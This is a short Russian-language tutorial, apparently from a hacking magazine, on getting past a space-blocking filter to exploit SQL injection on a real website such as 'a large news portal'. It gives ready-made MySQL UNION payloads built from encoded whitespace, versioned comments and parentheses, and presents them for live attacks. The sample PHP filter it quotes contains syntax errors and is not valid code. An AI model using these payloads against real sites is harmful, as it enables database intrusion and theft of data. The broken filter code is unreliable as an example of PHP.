Скажем, ты нашел инъекцию на крупном новостном портале, но никак не можешь ее
раскрутить, так как все известные тебе варианты пробелов не работают. Давай
рассмотрим такой код

<?php
if(isset($_GET['id']) && $_GET['id']!=''){
if(strstr($_GET['id']," ") {die "HACK ALERT"};
if(strstr($_GET['id'],"/**/") {die "HACK ALERT"};
if(strstr($_GET['id'],"+") {die "HACK ALERT"};
if(strstr($_GET['id'],"%20") {die "HACK ALERT"};

здесь какие-то запросы с использованием переменной $_GET['id']

Как мы видим, при использовании пробелов " ", /**/, + и %20 скрипт прекращает
свою работу. На самом деле существует как минимум два способа обхода такого
скрипта, первый – использование различных пробельных символов, второй –
использование логики SQL запросов, в частности их реализации в MySQL.

1. Итак, первый способ. Помимо самого пробела существует множество различных
пробельных символов, табуляция, возврат каретки и так далее. Вот их полный (а
может и нет ;)) список:

%09 – horizontal tab, горизонтальная табуляция
%0A – NL line feed, символ новой строки
%0B – vertical tab, вертикальная табуляция
%0C – NP form feed, символ новой страницы
%0D – carriage return, возврат каретки
Все эти символы будут рассматриваться как пробельные. Пример запроса:

id=-1%0Aunion%0Aselect%0A1

C этим, я думаю, все понятно, перейдем ко второму варианту:

2. В MySQL есть возможность выполнять SQL-код в блоке комментариев, выглядит это
примерно так:

select id/*!,title*/ from news

В данном случае из таблицы news будут выведены поля id и title. Теперь
посмотрим, как это реализовать в боевых условиях:

id=-1/*!union*/select/*!version()*/

Но бывает и такое, что фильтруются символы слэша. Тогда можно использовать
способ, основанный на использовании скобок в запросе. Вот пример для обхода
вышеизложенного скрипта:

id=(-1)union(select(version()))

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии